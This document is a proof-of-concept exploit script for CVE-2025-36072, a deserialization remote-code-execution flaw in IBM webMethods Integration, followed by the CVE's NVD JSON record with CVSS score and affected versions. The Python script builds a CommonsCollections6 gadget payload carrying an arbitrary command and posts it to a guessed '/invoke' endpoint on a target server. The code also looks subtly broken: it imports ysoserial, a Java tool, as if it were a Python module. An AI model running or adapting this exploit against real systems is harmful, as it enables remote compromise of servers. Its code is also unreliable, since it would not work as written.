CVE-2025-36072

import requests import sys fromysoserial import GeneratePayload # CVE-2025-36072 PoC - IBM webMethods Integration RCE via Deserialization # Target: IBM webMethods Integration versions 10.11-10.11_Core_Fix22, 10.15-10.15_Core_Fix22, 11.1-11.1_Core_Fix6 def generate_payload(command): """Generate malicious serialized payload using ysoserial""" try: # Generate CommonsCollections6 gadget chain payload payload = GeneratePayload('CommonsCollections6', command) return payload.getObject() except Exception as e: print(f"[-] Error generating payload: {e}") return None def exploit(target_url, command): """Send malicious payload to vulnerable endpoint""" # Generate payload payload = generate_payload(command) if not payload: return False # Target endpoint (typical webMethods Integration API endpoint) endpoint = f"{target_url}/invoke" headers = { 'Content-Type': 'application/x-java-serialized-object', 'User-Agent': 'Mozilla/5.0' } try: print(f"[*] Sending payload to {endpoint}") response = requests.post(endpoint, data=payload, headers=headers, timeout=30) if response.status_code == 200: print("[+] Payload delivered successfully") return True else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <command>") print(f"Example: {sys.argv[0]} http://target.com:5555 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)

{"cve": {"id": "CVE-2025-36072", "sourceIdentifier": "[email protected]", "published": "2025-11-20T23:15:51.527", "lastModified": "2025-12-15T14:44:46.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM webMethods Integration 10.11 through 10.11_Core_Fix22, 10.15 through 10.15_Core_Fix22, and 11.1 through 11.1_Core_Fix6 IBM webMethods Integration allow an authenticated user to execute arbitrary code on the system, caused by the deserialization of untrusted object graphs data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:webmethods_integration:10.11:-:*:*:*:*:*:*", "matchCriteriaId": "705ABF70-9799-4508-B5E3-FF79F52128A8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:webmethods_integration:10.11:core_fix22:*:*:*:*:*:*", "matchCriteriaId": "E47E9127-AC54-46D1-9A04-ABC9A5A06F98"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:webmethods_integration:10.15:-:*:*:*:*:*:*", "matchCriteriaId": "140D0B47-6681-4DDC-8749-612EBCC03B0D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:webmethods_integration:10.15:core_fix22:*:*:*:*:*:*", "matchCriteriaId": "D0048151-1853-457A-9205-8B8F8DF406DC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:webmethods_integration:11.1:-:*:*:*:*:*:*", "matchCriteriaId": "FE608B0D-C408-46AE-B3BC-94972F6D9EFE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:webmethods_integration:11.1:core_fix6:*:*:*:*:*:*", "matchCriteriaId": "9FF31F78-C831-4A0D-A6AD-BF402A88A7DA"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7252090", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}